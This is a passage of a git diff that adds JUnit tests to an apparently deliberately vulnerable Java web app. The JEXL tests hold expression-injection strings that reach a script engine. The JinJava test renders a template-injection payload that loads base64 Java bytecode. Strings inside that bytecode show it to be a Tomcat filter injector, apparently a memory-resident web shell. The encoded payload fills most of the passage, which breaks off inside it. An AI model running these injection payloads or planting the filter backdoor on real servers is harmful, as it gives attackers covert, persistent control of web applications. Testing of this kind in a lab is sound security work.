b/vul/vul-webapp-deserialize/src/test/java/JEXL2ServletTest.java new file mode 100644 index 00000000..d33c5ce8 --- /dev/null +++ b/vul/vul-webapp-deserialize/src/test/java/JEXL2ServletTest.java @@ -0,0 +1,18 @@ +import org.apache.commons.jexl2.Expression; +import org.junit.jupiter.api.Test; + +/** + * @author ReaJason + * @since 2025/1/29 + */ +class JEXL2ServletTest { + + @Test + void test() { + System.out.println(System.getProperty("java.version")); + org.apache.commons.jexl2.JexlEngine jexl = new org.apache.commons.jexl2.JexlEngine(); + Expression e = jexl.createExpression("''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js')"); + org.apache.commons.jexl2.MapContext jc = new org.apache.commons.jexl2.MapContext(); + System.out.println(e.evaluate(jc)); + } +} \ No newline at end of file diff --git a/vul/vul-webapp-deserialize/src/test/java/JEXL3ServletTest.java b/vul/vul-webapp-deserialize/src/test/java/JEXL3ServletTest.java new file mode 100644 index 00000000..dbcaed82 --- /dev/null +++ b/vul/vul-webapp-deserialize/src/test/java/JEXL3ServletTest.java @@ -0,0 +1,18 @@ +import org.apache.commons.jexl3.*; +import org.junit.jupiter.api.Test; + +/** + * @author ReaJason + * @since 2025/1/29 + */ +class JEXL3ServletTest { + + @Test + void test() { + System.out.println(System.getProperty("java.version")); + JexlEngine jexl = new JexlBuilder().create(); + JexlExpression e = jexl.createExpression("''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js')"); + JexlContext jc = new MapContext(); + System.out.println(e.evaluate(jc)); + } +} \ No newline at end of file diff --git a/vul/vul-webapp-deserialize/src/test/java/JinJavaServletTest.java b/vul/vul-webapp-deserialize/src/test/java/JinJavaServletTest.java new file mode 100644 index 00000000..25601484 --- /dev/null +++ b/vul/vul-webapp-deserialize/src/test/java/JinJavaServletTest.java @@ -0,0 +1,28 @@ +import com.google.common.collect.Maps; +import com.hubspot.jinjava.Jinjava; +import org.junit.jupiter.api.Test; + +import java.util.Map; + +/** + * @author ReaJason + * @since 2025/1/30 + */ +class JinJavaServletTest { + + @Test + void test() { + Jinjava jnj = new Jinjava(); + Map context = Maps.newHashMap(); + String render = jnj.render("{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval('var classLoader = java.lang.Thread.currentThread().getContextClassLoader();var className = \"org.apache.commons.lang.zKHoq.ImageUtil\";var base64Str = \"yv66vgAAADQBvAgA7AgA7QgA7goAEgDvCgB3APALAPEA8gsA8wD0CwDzAPUKAHcA9goAdwD3BwD4CgALAPkHAPoKAA0A7wcA+wgA/AcA/QcA/goAdwD/BwCbCgAPAQAIAQEKADgBAggBAwoAdwEECAEFCACUBwEGCgAcAQcLAQgA8gsA8QEJCgAPAQoKABIBCwoAEQEMCAENCAEOCAEPCACGCgAPARAKABEBEQoAdwESCgAvARMKABEBFAoAdwEVCgB3ARYKAHcBFwcBGAgApwcApgkBGQEaCgARARsKARwBHQoBGQEeCgEcAR8IASAHASEJASIBIwgBJAoBJQEmCAEnCgARASgIASkIASoIASsKABEBLAgBLQgBLggBLwgBMAgBMQgBMgoAdwEzCAE0CgARATUIATYIATcIATgKATkBHQoBOQE6CAC3BwE7CwBRATwIAT0KAAsBPgcBPwgBQAgBQQoAEQFCCAFDCAFECAFFBwFGCgBcAO8HAUcHAUgKAF8BSQoAXgFKCgBeAUsKAFwBTAoAXAFNCgBeAU4KAFwBTgcBTwoAEQFQBwFRCgBpAO8IAVIKAGkBUwoAaQEMCgBnAVQHAVUIAVYKAG8BVwoAEQFYCgFZAR0KAVkBWgcBWwoAdQFUBwFcCgB3AO8BAA1nZXRVcmxQYXR0ZXJuAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEARExjb20vcmVhamFzb24vamF2YXdlYi9tZW1zaGVsbC90b21jYXQvaW5qZWN0b3IvVG9tY2F0RmlsdGVySW5qZWN0b3I7AQAMZ2V0Q2xhc3NOYW1lAQAPZ2V0QmFzZTY0U3RyaW5nAQAGPGluaXQ+AQADKClWAQAGZmlsdGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAHY29udGV4dAEACGNvbnRleHRzAQAQTGphdmEvdXRpbC9MaXN0OwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAkTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQANU3RhY2tNYXBUYWJsZQcBXAcBXQcBXgcA+AEACmdldENvbnRleHQBABIoKUxqYXZhL3V0aWwvTGlzdDsBAAhjaGlsZHJlbgEAE0xqYXZhL3V0aWwvSGFzaE1hcDsBAAV2YWx1ZQEAC2NoaWxkcmVuTWFwAQAGdGhyZWFkAQASTGphdmEvbGFuZy9UaHJlYWQ7AQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsBABdMamF2YS91dGlsL0hhc2hNYXA8Kio+OwcA+wcBBgcA/gEACkV4Y2VwdGlvbnMBAAlTaWduYXR1cmUBACYoKUxqYXZhL3V0aWwvTGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEACGdldFNoZWxsAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAljbGF6ekJ5dGUBAAJbQgEAC2RlZmluZUNsYXNzAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAVjbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQALY2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47BwEYAQAGaW5qZWN0AQAnKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylWAQAJZmlsdGVyRGVmAQAJZmlsdGVyTWFwAQACZTIBAAxjb25zdHJ1Y3RvcnMBACBbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEADGZpbHRlckNvbmZpZwEADWZpbHRlckNvbmZpZ3MBAA9MamF2YS91dGlsL01hcDsBACNbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yPCo+OwcAtQEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQAMZGVjb2RlckNsYXNzAQAHaWdub3JlZAEACWJhc2U2NFN0cgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADmd6aXBEZWNvbXByZXNzAQAGKFtCKVtCAQAGYnVmZmVyAQABbgEAAUkBAA5jb21wcmVzc2VkRGF0YQEAA291dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAA9nemlwSW5wdXRTdHJlYW0BAB9MamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW07BwFGBwFHBwFfBwFgAQAMaW52b2tlTWV0aG9kAQBdKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAhTGphdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb247AQAGbWV0aG9kAQADb2JqAQAKbWV0aG9kTmFtZQEACnBhcmFtQ2xhenoBABJbTGphdmEvbGFuZy9DbGFzczsBAAVwYXJhbQEAE1tMamF2YS9sYW5nL09iamVjdDsBABVbTGphdmEvbGFuZy9DbGFzczwqPjsHAP0HAWEHAU8HASEHANcHANkBAGAoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M8Kj47W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA1nZXRGaWVsZFZhbHVlAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAARuYW1lBwFbBwFiAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAZVG9tY2F0RmlsdGVySW5qZWN0b3IuamF2YQEADnt7dXJsUGF0dGVybn19AQANe3tjbGFzc05hbWV9fQEADXt7YmFzZTY0U3RyfX0MAIIAgwwAkgCTBwFdDAFjAWQHAV4MAWUBZgwBZwFoDACjAKQMAK8AsAEAE2phdmEvbGFuZy9FeGNlcHRpb24MAWkAgwEAE2phdmEvdXRpbC9BcnJheUxpc3QBABBqYXZhL2xhbmcvVGhyZWFkAQAKZ2V0VGhyZWFkcwEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9PYmplY3QMANAA0QwBagB6AQAcQ29udGFpbmVyQmFja2dyb3VuZFByb2Nlc3NvcgwBawFsAQAGdGFyZ2V0DADiAOMBAAZ0aGlzJDABABFqYXZhL3V0aWwvSGFzaE1hcAwBbQFuBwFvDAFwAXEMAXIBcwwBdAF1DAF2AHoBABlQYXJhbGxlbFdlYmFwcENsYXNzTG9hZGVyAQAfVG9tY2F0RW1iZWRkZWRXZWJhcHBDbGFzc0xvYWRlcgEACXJlc291cmNlcwwBdwF4DAF5AXMMAIAAegwBegF7DAF8AWgMAIEAegwAuwC8DADCAMMBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIHAX0MAX4AqgwBfwGABwFhDAGBAYIMAYMBhAwBhQGGAQANZmluZEZpbHRlckRlZgEAEGphdmEvbGFuZy9TdHJpbmcHAYcMAMgBiAEAF2ZpbHRlciBhbHJlYWR5IGluamVjdGVkBwGJDAGKAYsBAC9vcmcuYXBhY2hlLnRvbWNhdC51dGlsLmRlc2NyaXB0b3Iud2ViLkZpbHRlckRlZgwBjAF7AQAvb3JnLmFwYWNoZS50b21jYXQudXRpbC5kZXNjcmlwdG9yLndlYi5GaWx0ZXJNYXABACRvcmcuYXBhY2hlLmNhdGFsaW5hLmRlcGxveS5GaWx0ZXJEZWYBACRvcmcuYXBhY2hlLmNhdGFsaW5hLmRlcGxveS5GaWx0ZXJNYXAMAYwBjQEADXNldEZpbHRlck5hbWUBAA5zZXRGaWx0ZXJDbGFzcwEADGFkZEZpbHRlckRlZgEADXNldERpc3BhdGNoZXIBAAdSRVFVRVNUAQANYWRkVVJMUGF0dGVybgwAeQB6AQAwb3JnLmFwYWNoZS5jYXRhbGluYS5jb3JlLkFwcGxpY2F0aW9uRmlsdGVyQ29uZmlnDAGOAY8BAA1zZXRVUkxQYXR0ZXJuAQASYWRkRmlsdGVyTWFwQmVmb3JlAQAMYWRkRmlsdGVyTWFwBwGQDAF8AZEBAA1qYXZhL3V0aWwvTWFwDAGSAZMBABVmaWx0ZXIgaW5qZWN0IHN1Y2Nlc3MMAZQBlQEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMAZYBgAEABmRlY29kZQEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIBAAxkZWNvZGVCdWZmZXIBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQEAHWphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtAQAcamF2YS9pby9CeXRlQXJyYXlJbnB1dFN0cmVhbQwAggGXDACCAZgMAZkBmgwBmwGcDAGdAZ4MAZ8AgwEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAaABdQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQASTWV0aG9kIG5vdCBmb3VuZDogDAGhAaIMAIIBiwEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uAQAXRXJyb3IgaW52b2tpbmcgbWV0aG9kOiAMAIIBowwBpAGlBwGmDAGnAKQBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24BAEJjb20vcmVhamFzb24vamF2YXdlYi9tZW1zaGVsbC90b21jYXQvaW5qZWN0b3IvVG9tY2F0RmlsdGVySW5qZWN0b3IBAA5qYXZhL3V0aWwvTGlzdAEAEmphdmEvdXRpbC9JdGVyYXRvcgEAE2phdmEvbGFuZy9UaHJvd2FibGUBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQAHZ2V0TmFtZQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAGdmFsdWVzAQAYKClMamF2YS91dGlsL0NvbGxlY3Rpb247AQAUamF2YS91dGlsL0NvbGxlY3Rpb24BAANhZGQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAIdG9TdHJpbmcBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBAA5nZXRDbGFzc0xvYWRlcgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvU3lzdGVtAQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAdmb3JOYW1lAQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwEAF2dldERlY2xhcmVkQ29uc3RydWN0b3JzAQAiKClbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yAQAnKFtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQADcHV0AQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRDYXVzZQEAFygpTGphdmEvbGFuZy9UaHJvd2FibGU7AQAJZ2V0TWV0aG9kAQAFKFtCKVYBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAARyZWFkAQAFKFtCKUkBAAV3cml0ZQEAByhbQklJKVYBAAt0b0J5dGVBcnJheQEABCgpW0IBAAVjbG9zZQEADWdldFN1cGVyY2xhc3MBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBACooTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9UaHJvd2FibGU7KVYBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBAANnZXQBACdvcmcvYXBhY2hlL2NvbW1vbnMvbGFuZy96S0hvcS9JbWFnZVV0aWwHAagBAAIvKggBqgEALm9yZy5hcGFjaGUuaHR0cC53ZWIuaGFuZGxlcnMueGZhWVcuT0F1dGhGaWx0ZXIIAawBD0hINHNJQUFBQUFBQUEvNlZYQ1hSVTFSbitiaktaOTJieTJJSUdCbFFVV2JLUURJUWtoQVNCYkFJYUFoS0VCbHJibDVtWFpHQXlNNzU1QXdsVnU5ak4xcU5IclcxdHBWcTcwTVcyU0dWQ3hBVmJxOVZXN1dhMXRYYmZ0ZnRxYTAyLys5NmJ5V1F5UVhzOEo3bnYzdnN2OS8rL2Y3bDNIbnY1bnZzQjFJdVZmclRqVmprY1Z2RlJQelRjcHVKMkJSK1QwenNVZk55UFQrQ1Rmc3pFcDFRY1VmQnBCWmNwK0l5Q3p5cjRuSW83SmR2blZYeEJ4UmRWSEZWeGw0cGpVdHVYVk56dHgzR2tGWXo2VUlzVGZzekNtQjhMY1kvY1BpbUhleFhjcCtCK1NYNmdGT2ZobEp3OUtCbS9MSmRma2N1SDVPeXJmczRlbHNNaktyNVdpa2Z4bUlLdnk2Ty9JVGNQeStGeHVmMkVpaWVsd0JNS3Z1bEhBMjVWOEMwLzF1RGIwb0h2bEdJeHZpdVZQaVhQK0o0ZlQrTVpTZmkrWlAyQlZQS3NKUHl3Rk0vaFJ3cCtyT0FuQXNYN2pSR0JzcTU5K2dFOUdOVmpBOEVleTR6RUJsb0VQQWs5bVNUSFVMaEJ3RDlvNkdIRDdOYUhESUZTWjdGTGo2YTQ4cTZMeENMV2VuSldWTzZpV0hzOHpOMVpYWkdZMFowYTZqUE1uWHBmMUpDSHhFTjZkSmR1UnVUYTNmUllneEVlMHRvVmlnOEZUVVBmcHlmanNhQzA1cURSRnh3eWhwS0RSalFhdEVjckhvOEdCK0xoUTVGb1ZBOXVjaWNYUnFLV1lkTGVCUlU1WHJSSGFYeFhYSnJaSXEwU2h3VG1UVU1YMFByMHBORlkzeGtMMmJhWFYreHRxeXdFaVdMWUhPWmt4TGIxN1ROQ0ZzbGVSNDNBblB5VEpKd0hkTE5SNE13Y1V1ZHd5RWhZa1hpTTVLSSt3bEMwdDAyZzVJQ0RhL2xrdkVZU0djek95TmUrcm1vOU5jem9zZlRRL3ExNndtWnpVcGlCeXg2U3pQclpZV1Q4bk9wa3BUUkJDUnV1bitJU21wd0hSOGFqb2xDZmdLOG5NaERUclpSSmZmTUxNVHJHaVdGcUpYbVByVitFTWtBTUIwUG1TTUtLQjlzamlVRTdGaEluUWlob3JoamkveDdXZ29LZkNxamh1Qk5yZ2IwVnJuRFNNQTlFRFN2WTQzeDNHSmVuaktUVk1oMDFtU0FNUmo3WjBkbytxRWRpVHE3MDgxOG10bTZhMjFLV3dDTEhwMGc4MkRaaUdhMm1xWTl3UDVHeWlKbWhEOG5FU0JySkpERVdPRGRQK2FCbEpZS2JPZlE0SE5MRHNHN3BBak9UazR3V09PZjBUckdta3BNZHlWZzJ2YWZNcHBEMFMyRGhhWnltL1diR2lPWFQyNTlualdwbXpjZ1B4MVFoMXg0RlAxUHdjd1cvY0hxamdsK3lsZGtOOTFjS2ZrMW9aQ3VoVy9rS1hXdmpzZjdJZ0IwanJUOW5SK0NzMC9IYitaeTB6RGc3bmI4bm5qSkRCdWswZSs3a0hsSXJkV2k0R0YxeTJDRXdXMjdVcHF4SXRMYk5MaHdOdjhGdnFXVEFzRHF6bldEdmxOTFE4RHM4VC9WN3B6WUpCUzlvK0QzK29PR1ArQk56d0drb08rTk85VEhFZWJwY0kzSjFUTnJLeU0wdDBGVlk0TWxVckhZb2tnelZ0clgyZEdZYW5Lbmh6L2dMODl0dys1MzBweU5UOGQ1d3BqdmtDV2M1TkllakxkWGZMM1g5Rlg5ajcyL3Q3R0dWYXZnNy9zSDRUU3J0Wk1JSU1UTkRwbUZkYkl6MGNLV2hFeGRxK0NmK0paRitVY1BOK0xlRy8rQWxnYVd2S3YwRWxyMjZqTk93Ulo3MFg3eXM0U0k1RzZmOVFvZ2lEWnU0Rk1XUzBJOEJEVEhFbVNnSmZTVEtXNEdKcVFtUEtCSFk4Qm92SmsxNGhhSWhnbjJhVUlXUFlDZDBrN2NvU1F6dTJhZHRMTHpUSnNLNkl4V3pJa05HTnJwRVR2ZzFVU28wVGN3UU16VnNsdjdNRXJNVk1VY1RaV0t1SnM0UVoycWlYSUo4S1haSjJqeFdub1poTVovdHQrQmR5TXVsVUNHNStaWFhyRmwycDJ0WXJuZlROaWVCd0xRdGljM3c5RzEwQ29PclBDZjU1MmF3M2JJdFoxZnBqN3V2bUtXRmJyOEMxNXlQMWJIVnNBYmpZWUdOQldTbTFuK3VGdFBvajdKb2c0NEdxcHMvSFkybEY0a2RpTytuYVdzcnBuYU9BczJrc3RBalJLVzVidXVZVzFISW45S1ljWEJMTEducHNaQjhURlFVMUZJYU52cjVnSE1WemVQTnZXVkxRV1U4YlVKWjViU1FUcjNucFoweTY2bmVVMkcvQ3VRcEJlUjNTY29XaDVBMFFpa3pZbzBFMlVoc2lpSWZCVEU5U3ZEazQwT3FrZkhhYkRqWnZPd1ZZcHg5MmFtaGVNeGk0dEdhaFpQZWtZTzYyU1B6bWY2MVZPNXhlbVUyQnhkWFZMN3lkYTlSWW51bTVwMWxxOFZ6KzFLVzhjb1daaU15TXhQWFRLVUdwa1ozNGtHYm5IVEk4Z0tIRkVpblhmSUpsN08vYzlDTUg1U1BTWnZrSlF4Nk5DbmZnd1ZrOXpqQTcyWjBwSEh6TXNheC9yYnpQSmNneXltWjZrdTZ0MVo1eGVTc3lvWmpiZ0Zadm1VT3lrbWVBVGxwb2xyWmUzUnlXbWYxbGxyeGJLZVZlZ3FmdnZHMVBTK2xLYlZ4Y3lDb0ovVFFvT0hraEx3MUJ2VllPTXErSHh6dTEzdDNCN2UxcHF4QnAra3BJc0JyZlhXbzBWaloxNlN2RGExcXFLdXIxMVd4VU1VbXZpbFhyV3J2YUd4dFd0UFF0TGFwZmxYajZzYjIxV3RhMjV2cUdsdnJXbGZXdDdXcjRoeG01cVUwcUtaMXdJaFpxamlYcGNIYXNsYlZyVmJGWW9HVlhmK2ZRUzArc1FBbjVQQ0FIQjZVdzBOK0RnL0w0UkU1SEpiRDQ1THdsSnc5eTE4Z2ZIREpWbURadnd4eEhuZmJJZENCRXZqa2pROGhndnhaWGlUTzRucFR6dnBzcmpmbnJCZHh2U1ZuZlI3WEYrV3N6K2RheUljYXg2M2NXYzJ2NExla2FoVGlMc21DYm81K2ZvRnllREFQMnpqVEhDWnNGMHY0bFFwMnVBcldrMVB5ZXF1cVIxR1VyMkVCWlJiYUdzb2RMbGVEblBWZ0ozWDQ1QTFMR25VSmc3c2xwQTJMcnJMaUUvQnNYVkZXSWs3Qm00YXlnbDgxRFY5M1RScitzbExQZmRCNmk4dG05SkJVdzhXTnZjVlZuUHRPSWRSMUJHdTd5K2JZNG1tVU5Yc0NIaWt5TjFjazRKa2lVOUxzcVQ1cSszSUJOaUtNVmx3T2kxOFArbWhSSllySHVWMmtZSWFDRUlTQzhEaXg4N2hyTHUyOUYrbVFkTDZPZ0FHTHFHd3hWSnhQQ0paUTdRcHFXRXJGeXhuQkNqcGN5U09xZVVnVkRxREdCbWt6TlMya3pHNjhEc1dVYkVJdjl0amdMTEgzUEpTc2NmZGEwWUM5ZUQzNUNCamVnTXRzNkEvZ2pUTGFlSk1MdWFORDU4eVJsRE9ETkE5NXdnU2ZEemdua0dLL0MvNVZFK0NmVVJEOE0xMGtRMVBCbjhFL1lybXV1Nnc4SC85NXVWSjUrTHRpRXlIWXlPd1BNL3NQNHREa0VMVExFSVNJdWh1Q1Joa0NlMTA0QkhWVTFrQVFHZ25yR3FyZFFBMU5WTnpNb21qQmRxempFZXQ1eUFXNGd0U0pFQ3pGb0J1Q0ZoZnU3UXpib0IyQ2k3RFMzZXVncmt3SXJtSUlMclJEY0FWRGNObWtFTFM0d0R1U2NpYmtzOWJKZXA3dHNXdkRWMVZkWEgzL0tPWWZ6UmFSMXk2N3pwd0M4bVVMeUlmOTlqRlJtM3VJTTc3RDNhSjhtcEllZnF2TEFpZXdvTHZtckZ1Z2VJN0FVM0lTQzN1UGlhVnBuRjBXR01VNWFTeXFxVTdqM0tQZDRxaDkxSEltWnBqK1NNRFhTY0JuRVdDeGdBQVQyK01TNE9Qak1udHk5aGlRNDJLY2ZhTFkzYlREWUp0ZmJpZlV4VFNtaTBtOWxicTdHY1p0dGp2MXBIbTVtMkFSRkhPM0NLYUxaSFhXeFdva2JSZGhsMG5LeG0wWUl3NXVSYmRSUXlrVGQxNzFLVnpYN0ZseEN0YzNsd1E4eDhTeU1Td3B3c040Zm1KeFRDeFBZOWt0ZUNiZ0djTnlnV2F2cEZXTW9iSUlKMFJsczFJVlVJclRvcXBaQ1hqTFZveWhwZ2lQWUxHY254UUxlcXVZd0drRVIwVjFRRWtMa3V1S2NRVFhCRHhscXdQS0dPcUxjUkkzOUk2aXNWbk5pcCtDSnJQZmR3U3ptdjBuc2FZMzRCOUYwd01CWDRDVnRIWTN2eDc3V3pLR1prSDdhb3BuejA1alhSb1hCSHhwck04UXFpVDdCZzlOT3lGcUpUSExMOWxidVhNRXBUWFZQTE5OMmpTajJadFozRVdZcnNWaDNNNWdhUHo1cEdVREc0VTZUaHhWTzE3dlUzQ3RndWNVWEtmZ2VnV1B5bHJDT0JQQk54MVp3UTEyaUY5Q3FZSWJ4M0VKdkZOWkdSK2xqVXcrT3hIMjhTSUEyN3lYWFV4akNheGcrY2p1MWNHUWIyWGg5RExNd3l5WXExa2MxOUxPdyt4S3Q3TlAzY0grZENmTDdtNld5NzNVOGlSei9pbmEvd0x6L1dYKzZoUklDQjhzK21hS21VanlGMXZLVHE1MzBJbkQ5UFlRQzlaSExYNjhtU2Y1cWR0a2VWN0prcnlURjVoRGJjQ2pMTjYzMExZTzNJTzMwaEtGdWxSYndpdlRLNU9PbkwwTmI1ZnB5Tm5WUEtQSW5yMFQ3K0pKWGpFSDc4WjdXSFg4WVlscjhGNG1wMkZYY0JGdXd2c3BkVE0rNEJaOGcxMnh5TDF2blVJZnlTbDBrYTBDZ1EvaVF4d3piZnNtL3QrU3ZjQ3JiWTRDeXE3TXViaEY5dUwrc00zMWtmOEJQNjhjc2VjWEFBQT0IAa4KAakA8AoBqQD2CgGpAPcBAClMb3JnL2FwYWNoZS9jb21tb25zL2xhbmcvektIb3EvSW1hZ2VVdGlsOwoBqQD/CgGpAQQKAakBEgoBqQEVCgGpARYKAakBFwoBqQEzCgGpAO8AIQGpAJ8AAAAAAAwAAQB5AHoAAQB7AAAAEAABAAEAAAAEEwGrsAAAAAAAAQCAAHoAAQB7AAAAEAABAAEAAAAEEwGtsAAAAAAAAQCBAHoAAQB7AAAAEAABAAEAAAAEEwGvsAAAAAAAAQCCAIMAAQB7AAAA6gADAAUAAAA6KrcABCq2AbBMK7kABgEATSy5AAcBAJkAGyy5AAgBAE4qLbcBsToEKi0ZBLYBsqf/4qcACEwrtgAMsQABAAQAMQA0AJEABACNAAAAGgAE/wAQAAMHAakHAPEHAPMAAPkAIEIHAJEEAHwAAAAqAAoAAAApAAQAKwAJACwAIAAtACcALgAuAC8AMQAyADQAMAA1ADEAOQAzAH0AAAA0AAUAJwAHAIQAhQAEACAADgCGAIUAAwAJACgAhwCIAAEANQAEAIkAigABAAAAOgB+AbMAAACLAAAADAABAAkAKACHAIwAAQABAJIAkwADAHsAAAIYAAQADQAAAP+7AA1ZtwAOTBKdEhADvQDbA70An7gBtMAAFMAAFE0sTi2+NgQDNgUVBRUEogDSLRUFMjoGGQa2ABUSFrYAF5kAdRkGEhi4AbUSGrgBtRIbuAG1wACeOgcZB7YAHbkAHgEAOggZCLkABwEAmQBGGQi5AAgBADoJGQkSG7gBtcAAnjoKGQq2AB25AB4BADoLGQu5AAcBAJkAGBkLuQAIAQA6DCsZDLkAHwIAV6f/5Kf/tqcARxkGtgAgxgA/GQa2ACC2ACG2ACISI7YAF5oAFhkGtgAgtgAhtgAiEiS2ABeZABkrGQa2ACASJbgBtRImuAG1uQAfAgBXhAUBp/8tK7AAAAAEAI0AAAA9AAn/ACcABgcBqQcA8QcAFAcAFAEBAAD+ADsHAJ0HAJ4HAPP+ACoHAJ8HAJ4HAPP4AB75AAICLfoAFfgABQB8AAAARgARAAAANgAIADcAHgA4ADQAOQBBADoAVwA7AHYAPACCAD0AoQA+AKoAPwCtAEAAsABBAL0AQgDQAEMA4QBEAPcAOAD9AEcAfQAAAFIACAChAAkAhgCFAAwAggArAJQAlQAKAHYANwCWAIUACQBXAFkAlwCVAAcANADDAJgAmQAGAAAA/wB+AbMAAAAIAPcAhwCIAAEAHgDhAJoAmwACAIsAAAAgAAMAggArAJQAnAAKAFcAWQCXAJwABwAIAPcAhwCMAAEAoAAAAAQAAQCRAKEAAAACAKIAAgCjAKQAAgB7AAABMAAGAAcAAAB6uAAntgAgTSzHAAsrtgAhtgAoTSwqtgG2tgAqtgArsE4qtgG3uAG4uAG5OgQSrhIwBr0A21kDEjFTWQSyADJTWQWyADJTtgAzOgUZBQS2ADQZBSwGvQCfWQMZBFNZBAO4ADVTWQUZBL64ADVTtgA2wADbOgYZBrYAK7AAAQATAB4AHwCRAAQAjQAAAAwAAvwAEwcArksHAJEAfAAAACoACgAAAEwABwBNAAsATgATAFEAHwBSACAAUwAsAFQASgBVAFAAVgB0AFcAfQAAAEgABwAsAE4ApQCm